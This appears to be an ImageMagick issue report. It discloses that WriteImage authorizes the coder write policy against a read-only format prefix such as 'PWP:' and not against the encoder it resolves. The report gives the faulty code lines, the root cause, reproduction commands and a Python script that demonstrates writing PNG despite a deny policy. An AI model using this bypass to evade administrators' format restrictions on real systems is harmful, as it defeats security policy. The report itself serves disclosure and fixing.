WriteImage authorizes the coder-domain write policy against the user's format prefix instead of the resolved encoder
ImageMagick version
7.1.2-29
Operating system
Windows
Operating system, version and so on
Windows 11 x64 — code-path bug, platform independent
Description
WriteImage() (MagickCore/constitute.c) enforces the coder-domain write policy before encoding. On the direct path the authorization object and the executed encoder agree, so <policy domain="coder" rights="read" pattern="PNG"/> correctly blocks writing PNG.
When the output uses a format prefix that has a decoder but no encoder (e.g. PWP:, a read-only format), WriteImage falls back to selecting the real encoder from the output file extension (constitute.c:1408-1421, resolving WritePNGImage), but then authorizes against the user-supplied prefix rather than the resolved format — constitute.c:1442:
status=IsCoderAuthorized(magick_info->magick_module,write_info->magick,
WritePolicyRights,exception); /* coder = "PWP", not the resolved "PNG" */
if (status != MagickFalse)
status=encoder(write_info,image,exception); /* actually writes PNG */As a result, a coder-domain write denial for PNG is not enforced when the caller writes through a read-only prefix. The module domain is checked against the resolved module name and is unaffected.
Root cause: in the fallback branch the coder argument to IsCoderAuthorized should be the resolved format (e.g. magick_info->name), not write_info->magick.
Steps to Reproduce
- Provide the policy (exposed via
MAGICK_CONFIGURE_PATH):
<policymap>
<policy domain="coder" rights="read" pattern="PNG"/>
</policymap>- Create a non-PNG input (so the read side is unrelated to the PNG write policy):
magick -size 20x20 xc:red in.bmp- Direct write is correctly denied:
magick in.bmp out.png
magick: NotAuthorized `PNG' @ error/constitute.c/IsCoderAuthorized/456.(exit code 1; out.png not created)
- Writing via a read-only prefix is incorrectly allowed and produces a PNG:
magick in.bmp PWP:out.png
magick: NoEncodeDelegateForThisImageFormat `PWP' @ warning/constitute.c/WriteImage/1393.(exit code 0; PNG bytes are written — on Windows they land in the out.png alternate data stream of file PWP, a Windows filesystem artifact unrelated to the bug)
- Self-checking reproduction script (sets up the policy, creates the input, runs both cases, asserts the distinct outcomes):
#!/usr/bin/env python3
# Self-checking reproduction of the WriteImage coder-policy bypass.
#
# Resolution order: $MAGICK_BIN -> `magick` on PATH -> script-relative fallback.
import os
import shutil
import subprocess
import sys
import tempfile
HERE = os.path.dirname(os.path.abspath(__file__))
MAGICK = os.environ.get("MAGICK_BIN") or shutil.which("magick") or shutil.which("convert")
if not MAGICK:
for cand in (os.path.join(HERE, "..", "magick-7.1.2-29-x64.exe"),
os.path.join(HERE, "magick-7.1.2-29-x64.exe")):
if os.path.exists(cand):
MAGICK = os.path.abspath(cand)
break
def run(args, env, cwd=None):
proc = subprocess.run([MAGICK] + args, stdout=subprocess.DEVNULL,
stderr=subprocess.PIPE, env=env, cwd=cwd)
return proc.returncode, proc.stderr.decode("utf-8", "replace")
def main():
if not MAGICK:
print("FAIL: no ImageMagick binary (set MAGICK_BIN or add magick to PATH)")
return 1
work = tempfile.mkdtemp(prefix="magick_coder_bypass_")
cfg = os.path.join(work, "cfg")
os.makedirs(cfg)
with open(os.path.join(cfg, "policy.xml"), "w", encoding="utf-8") as fh:
fh.write('<?xml version="1.0" encoding="UTF-8"?>\n'
'<policymap>\n'
' <policy domain="coder" rights="read" pattern="PNG"/>\n'
'</policymap>\n')
env = dict(os.environ)
env["MAGICK_CONFIGURE_PATH"] = cfg
in_bmp = os.path.join(work, "in.bmp")
out_png = os.path.join(work, "out.png")
pwp_file = os.path.join(work, "PWP")
print("binary: %s" % MAGICK)
print("policy: <policy domain=\"coder\" rights=\"read\" pattern=\"PNG\"/> (allow read, deny write)")
results = []
rc, err = run(["-size", "20x20", "xc:red", "in.bmp"], env, cwd=work)
ok = rc == 0 and os.path.exists(in_bmp)
results.append(ok)
print("%s: seed input BMP created (rc=%d)" % ("PASS" if ok else "FAIL", rc))
rc, err = run(["in.bmp", "out.png"], env, cwd=work)
denied = ("NotAuthorized" in err) and (rc != 0) and (not os.path.exists(out_png))
results.append(denied)
print("%s: direct write (in.bmp -> out.png) denied by coder policy "
"(rc=%d, NotAuthorized=%s, out.png exists=%s)"
% ("PASS" if denied else "FAIL", rc, "NotAuthorized" in err,
os.path.exists(out_png)))
rc, err = run(["in.bmp", "PWP:out.png"], env, cwd=work)
allowed = (rc == 0) and ("NotAuthorized" not in err)
results.append(allowed)
print("%s: bypass (in.bmp -> PWP:out.png) skips coder authorization "
"(rc=%d, NotAuthorized=%s)" % ("PASS" if allowed else "FAIL", rc,
"NotAuthorized" in err))
wrote_png = False
if os.name == "nt":
ads_path = pwp_file + ":out.png"
else:
ads_path = os.path.join(work, "PWP:out.png")
try:
with open(ads_path, "rb") as fh:
wrote_png = fh.read(4) == b"\x89PNG"
except OSError:
wrote_png = False
results.append(wrote_png)
print("%s: PNG bytes produced on bypass path (signature check)" %
("PASS" if wrote_png else "FAIL"))
shutil.rmtree(work, ignore_errors=True)
print("%d/%d checks passed" % (sum(results), len(results)))
return 0 if all(results) else 1
if __name__ == "__main__":
sys.exit(main())Expected output on the affected version:
binary: .../magick.exe
policy: <policy domain="coder" rights="read" pattern="PNG"/> (allow read, deny write)
PASS: seed input BMP created (rc=0)
PASS: direct write (in.bmp -> out.png) denied by coder policy (rc=1, NotAuthorized=True, out.png exists=False)
PASS: bypass (in.bmp -> PWP:out.png) skips coder authorization (rc=0, NotAuthorized=False)
PASS: PNG bytes produced on bypass path (signature check)
4/4 checks passedImages
No image upload needed — the reproduction uses a synthetic xc:red canvas (see commands above); no external/input image is required.
Source: ImageMagick/ImageMagick